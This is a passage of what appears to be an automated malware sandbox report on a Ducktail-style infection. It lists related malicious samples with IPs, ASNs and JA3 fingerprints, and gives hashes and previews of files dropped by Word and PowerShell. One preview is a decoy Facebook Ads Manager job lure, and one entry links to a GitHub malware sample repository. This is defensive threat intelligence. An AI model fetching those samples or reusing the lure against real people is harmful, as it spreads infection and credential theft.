	m9c7iq9nzP.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
raw.githubusercontent.com	https://github.com/Matty77o/malware-samples-m-h/blob/main/TheTrueFriend.exe	Get hash	malicious	Unknown	Browse	185.199.109.133
	iboka6.hta	Get hash	malicious	Unknown	Browse	185.199.109.133
	Downloader.hta	Get hash	malicious	Unknown	Browse	185.199.109.133
	dYUteuvmHn.exe	Get hash	malicious	Unknown	Browse	185.199.109.133
	interior-design-villa-a23.lnk	Get hash	malicious	MalLnk	Browse	185.199.109.133
	run.cmd	Get hash	malicious	Unknown	Browse	185.199.109.133
	PYsje7DgYO.exe	Get hash	malicious	RHADAMANTHYS	Browse	185.199.109.133
	EcjH6Dq36Y.exe	Get hash	malicious	RHADAMANTHYS	Browse	185.199.108.133
	MsmxWY8nj7.exe	Get hash	malicious	RHADAMANTHYS	Browse	185.199.110.133
	ea4LTmpMwl.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	185.199.110.133

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://balmyrind.com/	Get hash	malicious	Unknown	Browse	1.1.1.1
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	print preview.js	Get hash	malicious	FormBook	Browse	172.67.187.200
	MdmRznA6gx.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	Cj3OWJHzls.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	3y37oMIUy6.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	m9c7iq9nzP.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
ENZUINC-US	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29
	sora.sh4.elf	Get hash	malicious	Mirai	Browse	104.203.163.1
	sora.sh4.elf	Get hash	malicious	Mirai	Browse	104.202.51.86
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	23.89.70.126
	loligang.spc.elf	Get hash	malicious	Mirai	Browse	104.202.0.10
	kingsmaker_4.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29
	kingsmaker_6.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29
	kingsmaker.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29
	Job Description.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	print preview.js	Get hash	malicious	FormBook	Browse	172.67.128.139
	MdmRznA6gx.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	Cj3OWJHzls.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	3y37oMIUy6.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	m9c7iq9nzP.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Temp\myRdpService.exe	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse
C:\Windows\Temp\myRdpService.exe	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse
C:\Windows\Temp\svczHost.exe	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse
	MdmRznA6gx.lnk	Get hash	malicious	Ducktail	Browse
	Cj3OWJHzls.lnk	Get hash	malicious	Ducktail	Browse
	3y37oMIUy6.lnk	Get hash	malicious	Ducktail	Browse
	m9c7iq9nzP.lnk	Get hash	malicious	Ducktail	Browse
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse

Created / dropped Files

C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\ProgramData\Microsoft\Office\Licenses\5\Perpetual\21661362613116367064193984360 (copy)

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	19716
Entropy (8bit):	3.881968341434454
Encrypted:	false
SSDEEP:	384:8yD8Gqcokhitsd+NdsnFaFDUZYG+w1mWJGQpPcMautt4P/GIF+H4L:8yD8GrhitTnbpel+FP2Pcu4PXF+YL
MD5:	372E2380BF16FA88F2EFFB102AB75D19
SHA1:	1E40FEE1861C16D6E518FA683A8AB28FE3191FE7
SHA-256:	A0CACDC0C4790F9819BD2407CFAB05E7CA9887724821F46C72BDBDC37ABC6FBD
SHA-512:	5AB5772241C22F26DAD59D6273664C48B19923AD92E48BF850F68B29F505081910FA24F66EF9385EF66178E38F81143ACB7DE4A8D609941FC1FCF4434B44BEBE
Malicious:	false
Preview:	{.".L.i.c.e.n.s.e.".:.".e.y.J.V.c.2.V.y.U.H.J.v.Z.m.l.s.Z.U.l.k.I.j.p.u.d.W.x.s.L.C.J.N.Y.X.h.E.Z.X.Z.p.Y.2.V.z.Q.W.x.s.b.3.d.l.Z.C.I.6.M.S.w.i.Q.W.N.0.a.X.Z.h.d.G.l.v.b.k.R.h.d.G.U.i.O.i.I.y.M.D.I.z.L.T.A.4.L.T.E.3.V.D.E.y.O.j.I.1.O.j.U.4.L.j.Y.w.M.T.E.x.N.T.d.a.I.i.w.i.R.X.J.y.b.3.J.G.Y.W.x.s.Y.m.F.j.a.0.N.h.d.G.V.n.b.3.J.5.I.j.p.u.d.W.x.s.L.C.J.S.Z.W.5.l.d.2.F.s.V.G.9.r.Z.W.4.i.O.i.J.l.e.U.p.K.W.k.d.W.d.W.R.H.b.D.B.l.U.0.k.2.S.W.x.0.V.m.M.y.V.n.l.T.V.1.E.5.V.j.B.4.S.l.J.D.M.H.d.N.R.E.F.6.T.k.R.B.d.0.1.U.R.T.J.O.e.m.R.G.U.k.R.j.M.0.8.w.T.n.B.a.R.D.A.0.T.m.p.J.N.F.p.H.T.T.F.O.R.F.p.r.W.X.p.r.N.U.5.E.W.T.V.P.M.D.V.o.Y.l.d.V.O.U.1.E.Q.X.d.N.e.l.F.3.T.U.R.F.e.E.5.q.Y.z.N.S.V.V.E.z.T.j.E.w.a.U.x.D.S.k.l.Z.W.E.p.r.Z.D.J.G.e.V.p.V.b.G.t.J.a.m.9.p.U.U.R.F.M.0.5.6.T.T.J.N.a.k.U.x.T.W.p.N.e.k.5.E.V.X.l.N.R.E.k.x.T.m.p.F.d.0.1.E.R.T.R.O.a.k.V.6.T.X.p.j.e.U.9.U.Y.3.p.O.e.l.F.3.T.W.p.V.d.0.1.U.a.3.d.N.V.F.k.1.T.0.R.J.N.U.1.6.Y.z.V.O.R.G.c.w.T.k.R.n.d.0.5.U.T.T.N.O.a.k.U.y.T.X.p.N.N.E.9.U.V.X.d.P.

C:\Users\user\AppData\LocalLow\Intel\ShaderCache\55358e20b61aed6fcad5b2283103fb1fe9f3dd3668577b575161f953d12f5a3f

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	97688
Entropy (8bit):	7.946954618451867
Encrypted:	false
SSDEEP:	1536:uqc7pHXAsaUM1YiadRi0tj3hj3ZbMbyAeM21n6mPPTP0QojNhEVQDMZGhrxi:Zc76saUM6iadjJx3ZbUyg2tP70QS2a9c
MD5:	D31C39479E7969612F1BE393C797C2F6
SHA1:	A43D80A7B0A9C29E07CD8375335A416D529E6599
SHA-256:	A7F1E4309A15243E72C0729416D348F03C5020B3C23FA6884CB9120FF0DE5F4E
SHA-512:	408E76F8BFF6088CB0FE246E92B3075358589A22B67520B26E6F901E0D6B6354DC0707D1D22A8BED48E1AFB5C3A17F9BB26F0DC843814845A91C1B66F6BECC10
Malicious:	false
Preview:	INSC.>.....Mar222021151921.38._......?Y... j.1/....s.h...fE............................0..bx.c`@.....^2200..A.....,.X)..(]..n(@.......Kc03.....}.......OB...d.?P... q.f.I..@j.........x.A#. ......Q@..C.#..!.`.U.....G..}..3....q.3B...4...=... .o... .....bJ.......c.~.`..pE0z"....xcu@.....P...7..;...#C...;.e.y@?.......P>(...v..(L@..P{.\|nF..jf.0]...kY!t....Y......('.....e`>.7.f..b0fH`..`d.........O`...a..v...D.....v.....\|B3...P...x.cD.@v.h....[j..."._.=.).HZ....t..................A...Xjx..Io.@..=vl.R.hX.NYR@.f......."T.-.LY...C..zB..7....8....M%..H.....Q.*.HL4....e.q..G...K....Z..\...'PXa.\|.V2.....>.\|q>;9o...o.,\|n.!..J.......I..P.P....7..l.?.)m...._,....M...=..c.....w.....Y.~.o...."../....V)N...Q.^!.D...M.w.iLd.+4\"...n..T.w.F%..u./..2.\|.v.`h..FEj~..}.5j~.D.j._.5_(..(-Do.Fu.2......E.S. :.Qt.&..E.m.......J..GD."o.yO.k.:....D.S..@.3.s.u..%......7P.&..B..s.....!...6.........9.>...g...R...._f..0.1...s<..4.....}./P..:.~\..c....1h.}\.....=..ub

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.830689466351381
Encrypted:	false
SSDEEP:	48:uiTrlKxsxxpxl9Il8uaj8tf0gkEhEIlJfXl9NHrd1rc:v9Yoj810BDIlJfHNs
MD5:	EB7F89180699923062E2D16B980F74F8
SHA1:	456B5DA098D903A146C1E9B878F6648E9A10CFE3
SHA-256:	B3796E09CCD947B031514D7DC42DDEA6EB2D9BA85C3E2CB9A840484B42E31D81
SHA-512:	C92F9172C186BFC3EBCA266DB519CED01C95ECF3772B53AF966776859A82F7E25943A23D45841FEBE71B5AD215883C823A0B9A28DF409F0B14BF9474B5E7C22C
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".C.J.1.m.u.g.S.o.z.s.S.9.x.S.Z./.Q.v.O.c.+.E.J.4.u.2.c.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.M.Q.R.U.s.h.L.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.v.J.j.G.V.7.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	4542
Entropy (8bit):	4.002730457490134
Encrypted:	false
SSDEEP:	96:lYoaic4UwSBB1e508qNh6IW/9uxGPao1j/XGPD:lnRUwaxK//IUaoZ+PD
MD5:	E67C6BE95F9835C00916629E5B66DC02
SHA1:	C544759376DC42226CDE25C368553CE3A47F0D1A
SHA-256:	3CD20506A4A2565F1BE102E2BB5495D366CA99D1942674A2B804992819585E29
SHA-512:	958CD8B5BC8FF270EF5CCB1F0029A9F7BFDD0C48B0F782B896856B59D32C04856D642BD171F53DEB195AF3121F85A28073C2A4E43277476DF324A8EA1CF8AE4D
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".V.q.Y.a.6.3.X.Y.9.b.4.Y.b.C.Z.g.f.0.u.y.E.6.v.n.x.e.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".h.k.L.w.N.8.B.L.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.v.J.j.G.V.7.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{63EDF38C-F375-4707-B0DC-AFC864D80E8C}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12982
Entropy (8bit):	3.2110410373686604
Encrypted:	false
SSDEEP:	192:gTPqu7qDzkoAHbWJdYYpFqpNXr0RwsyJsKgYuRk8wP4BdCxIxCp+:gTPqumDzk97+dvpF7pn3RqPUCxI0p+
MD5:	0C797F586D4B2CED4B164146665AF3F9
SHA1:	EAAB719BC655511F38E38FA2EA7BFE95C4C2DA75
SHA-256:	7B9B0B675A8DA5940DACD33CF33CA1AF475F7809DC483CCEB583221EBEA9243C
SHA-512:	89996B03423FACF43659E06FB306F19984ABAE36B8337D2B4930ED863AFA6EAE3362E9FFB26A4F0894326D327771CB4F902CC97BBA3773629201839EFA4CEE16
Malicious:	false
Preview:	..J.o.b. .T.i.t.l.e.:. .R.e.m.o.t.e. .F.a.c.e.b.o.o.k. .A.d.s. .M.a.n.a.g.e.r. .. .M.a.n.a.g.e. .A.d. .C.a.m.p.a.i.g.n.s. .w.i.t.h. .C.o.m.p.a.n.y. .C.r.e.d.i.t. .C.a.r.d.,. .M.o.n.t.h.l.y. .B.u.d.g.e.t. .U.p. .t.o. .$.1. .M.i.l.l.i.o.n...............................................................................................................................................................................................................................................................................................................^...`.......Z...\...................n...p...................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	20010
Entropy (8bit):	5.02483968322263
Encrypted:	false
SSDEEP:	384:Prib43WKmVoGIpN6KQkj2Fkjh4iUxDhQIeFzUpX+OdBNNXp5yvOjJlYoaYpib47:PRWKmV3IpNBQkj2Uh4iUxDhiFzUpX+Oh
MD5:	435D032DDB5301D507119F054ABE9587
SHA1:	E5D4154F38575B85F59ECEBAED506F2C8EBB9F73
SHA-256:	A0309E124EAB5BCDEA5BF518D641576499DE7FEAA5662CC95F6ABD5EAF5853E9
SHA-512:	23B177CC2418E2A5677DE81CBE648CA651C7DA91E06D7847C02015FA89D2A3B321800DC5E9C6E6B028436ED54A56A36785058F73C12836DC774C24BDA3E182C1
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	1.0818136700495735
Encrypted:	false
SSDEEP:	3:Nlllulhl/lZ:NllUr
MD5:	C7BA672F8BBFA833BEE6694B7EF3EEC4
SHA1:	BFF2DAA1A79D9FE8C1477879E252204CABA435D0
SHA-256:	023E84352A8C0954C2B0CBB4474452A4BBE82049BBD929913ED58DFDE3E236CF
SHA-512:	8FF8113D29FB07CE755E5DF8A20C8E422BA39521F410B4B19E9F0FCCC14553F810492A41E8F87A547F7E98DCB997EFA7FC46D5B6A18A0C5E0FEED2ACA811FA62
Malicious:	false
Preview:	@...e...............................X................@..........

C:\Users\user\AppData\Local\Temp\5C366A3F.tmp

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	19716
Entropy (8bit):	3.881968341434454
Encrypted:	false
SSDEEP:	384:8yD8Gqcokhitsd+NdsnFaFDUZYG+w1mWJGQpPcMautt4P/GIF+H4L:8yD8GrhitTnbpel+FP2Pcu4PXF+YL
MD5:	372E2380BF16FA88F2EFFB102AB75D19
SHA1:	1E40FEE1861C16D6E518FA683A8AB28FE3191FE7
SHA-256:	A0CACDC0C4790F9819BD2407CFAB05E7CA9887724821F46C72BDBDC37ABC6FBD
SHA-512:	5AB5772241C22F26DAD59D6273664C48B19923AD92E48BF850F68B29F505081910FA24F66EF9385EF66178E38F81143ACB7DE4A8D609941FC1FCF4434B44BEBE
Malicious:	false
Preview:	{.".L.i.c.e.n.s.e.".:.".e.y.J.V.c.2.V.y.U.H.J.v.Z.m.l.s.Z.U.l.k.I.j.p.u.d.W.x.s.L.C.J.N.Y.X.h.E.Z.X.Z.p.Y.2.V.z.Q.W.x.s.b.3.d.l.Z.C.I.6.M.S.w.i.Q.W.N.0.a.X.Z.h.d.G.l.v.b.k.R.h.d.G.U.i.O.i.I.y.M.D.I.z.L.T.A.4.L.T.E.3.V.D.E.y.O.j.I.1.O.j.U.4.L.j.Y.w.M.T.E.x.N.T.d.a.I.i.w.i.R.X.J.y.b.3.J.G.Y.W.x.s.Y.m.F.j.a.0.N.h.d.G.V.n.b.3.J.5.I.j.p.u.d.W.x.s.L.C.J.S.Z.W.5.l.d.2.F.s.V.G.9.r.Z.W.4.i.O.i.J.l.e.U.p.K.W.k.d.W.d.W.R.H.b.D.B.l.U.0.k.2.S.W.x.0.V.m.M.y.V.n.l.T.V.1.E.5.V.j.B.4.S.l.J.D.M.H.d.N.R.E.F.6.T.k.R.B.d.0.1.U.R.T.J.O.e.m.R.G.U.k.R.j.M.0.8.w.T.n.B.a.R.D.A.0.T.m.p.J.N.F.p.H.T.T.F.O.R.F.p.r.W.X.p.r.N.U.5.E.W.T.V.P.M.D.V.o.Y.l.d.V.O.U.1.E.Q.X.d.N.e.l.F.3.T.U.R.F.e.E.5.q.Y.z.N.S.V.V.E.z.T.j.E.w.a.U.x.D.S.k.l.Z.W.E.p.r.Z.D.J.G.e.V.p.V.b.G.t.J.a.m.9.p.U.U.R.F.M.0.5.6.T.T.J.N.a.k.U.x.T.W.p.N.e.k.5.E.V.X.l.N.R.E.k.x.T.m.p.F.d.0.1.E.R.T.R.O.a.k.V.6.T.X.p.j.e.U.9.U.Y.3.p.O.e.l.F.3.T.W.p.V.d.0.1.U.a.3.d.N.V.F.k.1.T.0.R.J.N.U.1.6.Y.z.V.O.R.G.c.w.T.k.R.n.d.0.5.U.T.T.N.O.a.k.U.y.T.X.p.N.N.E.9.U.V.X.d.P.

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App_1733916566627829400_D23B500E-84AB-4181-8439-BC356C0C23FF.log

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	ASCII text, with very long lines (14333), with CRLF line terminators
Category:	dropped
Size (bytes):	16777216
Entropy (8bit):	0.02765589129627027
Encrypted:	false
SSDEEP:	1536:6EkjUBTXTeT8BbIgM4QSf6eYqgUTV/mnjfS3gBeG:XRIdiTV
MD5:	D3C6391580FE7C96983EAB535E37A91A
SHA1:	6A6A63E7389478FE9F48F70853EB25B7D8C24955
SHA-256:	15EA99E04F07D985C424CC8405C59BAADA6EDFB68DC4E8F9D9D02A24044B7F09
SHA-512:	38F21D40F2A5ADCFD48E9AEF28B80813BA4B2A566717C0EA6485A1680135D9B2F0F042D567ACB6ACACEBD23BBA00199231710F13DE445F74D105EAFA6B5CCEB4
Malicious:	false
Preview:	Timestamp.Process.TID.Area.Category.EventID.Level.Message.Correlation..12/11/2024 11:29:27.170.WINWORD (0x2250).0x2254.Microsoft Word.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Word.FileOpen.UserInitiatedOpen","Flags":2814775553802753,"InternalSequenceNumber":60,"Time":"2024-12-11T11:29:27.170Z","Contract":"Office.System.Activity","Activity.CV":"DlA70quEgUGEObw1bAwj/w.1.18","Activity.Duration":230582,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":true,"Activity.Result.Code":0,"Activity.Result.Tag":37262085,"Data.OpenInitiateKind":3,"Data.fOpenFromBoot":true,"Data.fZrtOpenRequested":true,"Data.zrtRequestedReason":4,"Data.ScanRequiredResult":0,"Data.fFileAlreadyOpen":0,"Data.FileIOClpState":0,"Data.MainPdod":1480640748032,"Data.Measurements":"cZ24ib6ii8iL7iU1iY24ja1jc1jd1jh12ji1jj9jk52jl4jm2jn6jo1js2jx10jN1ks6kx2lf2a31ymo0b226","Data.TrackbackTag":37262080,"Data.IntermediateResultsTotalCount":1,"Data.IntermediateResults":"[{\"Code\":0,\"Tag\":37262085}]","Dat

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App_1733916566628789400_D23B500E-84AB-4181-8439-BC356C0C23FF.log

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	16777216
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	2C7AB85A893283E98C931E9511ADD182
SHA1:	3B4417FC421CEE30A9AD0FD9319220A8DAE32DA2
SHA-256:	080ACF35A507AC9849CFCBA47DC2AD83E01B75663A516279C8B9D243B719643E
SHA-512:	7E208B53E5C541B23906EF8ED8F5E12E4F1B470FBD0D3E907B1FC0C0B8D78EB1BBFB5A77DCFD9535ACF6FA47F4AB956D188B770352C13B0AB7E0160690BAE896
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JD-Meta-Ads-Manager.pdf.docx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	4613
Entropy (8bit):	7.737727511212856
Encrypted:	false
SSDEEP:	96:MxEjTyPmOtE19oVKitqb37Xbm6HiLhOncYD8xLB83D44OXL:MghMVjtqT7Xbm62OcBxd83DJOb
MD5:	DB15D3AE0D25D001D6F1DD25DEDC408F
SHA1:	EA533B87BBD997D199565113B611C7F5A234F326
SHA-256:	32A3177BA7CF8F4F20FB8C04DE96C425BE3E5FC68D473A64ADDCC189B279767C
SHA-512:	4B229B0D27604F062EB184E38CDFCAEDB61E2B8B4F7B4A5386F3C3D82309956E183EC1746BB8BC86EA8AAB949B5181F659EA4E506329CFE60D7CD122C7AC6EFD
Malicious:	false
Preview:	PK.........~\|Y................_rels/.rels..;..0.D.bmO6P ..AHi.p...8Q.l.=.(........y...(..Y...FV:5Y...7.h.E....#...9.).#b.#..........)...9.M.+.=.O.....AS.pwA.r.j."....u...z....I....Q......W3..PK..O..<........PK.........~\|Y................word/_rels/document.xml.rels.....0.E.%..u!"M....R? &..6..T...........0yyU#......$..Z.9...9..P.y.#......$F.g.`w.z..>1.u..)...:j.8...:M7.v...4.u...I..Ex...T..4..d.jf..PM....FL.u...O...E.yD.n....+....PK..............PK.........~\|Y................word/document.xml.]_o....*...6.....Z.....>.i.@v..#..i.s.=...y.w.7.'...+....trp..........p8...Z..X'...<..O.haJ...O...N..\.\.......W?n/J#B..3.@.....8;s.....i@..5......5....ku.......K=....l.g...h.k......v.3..n/.......II....0ag...%^.r]..^...u%....O..._.^.pu9.v..&`.....tB....\Q?.v....>.w..I....\v?.Q..#..M....x..]c....yx.}....T......B(.66:Kov......n/"P...o,8......Y.[..\........Kc..U..{...,..\|...E....;..E..n.\k........[6.PJ.wmY..(.J..u(....y.=g.q.8.............B....

C:\Users\user\AppData\Local\Temp\RES6B00.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x492, 9 symbols, created Wed Dec 11 11:29:15 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1336
Entropy (8bit):	3.9809972470996446
Encrypted:	false
SSDEEP:	24:Hmm9hUEHVwKGmNII+ycuZhNqDcakSFDxPNnqSSd:xUEWKGmu1ulqDca3FDDqSC
MD5:	868BE7557DBD631C21DB3890C89A8753
SHA1:	AA86DFAAA0CFE03CE034B58B3AFCFEF29597149D
SHA-256:	C9A02C1085422E8BB63201EC15D17685F3C32FCEB353BF2FA1952B4095EC8EB6
SHA-512:	016221AE71793A10C102DCD2B1B82350AC9562F68CA60CB182AAD472F71C34491C6D6F346FA5BC6159944D2F87484E9EEF9B8C869F2D7199E1051FEAE4470EEC
Malicious:	false
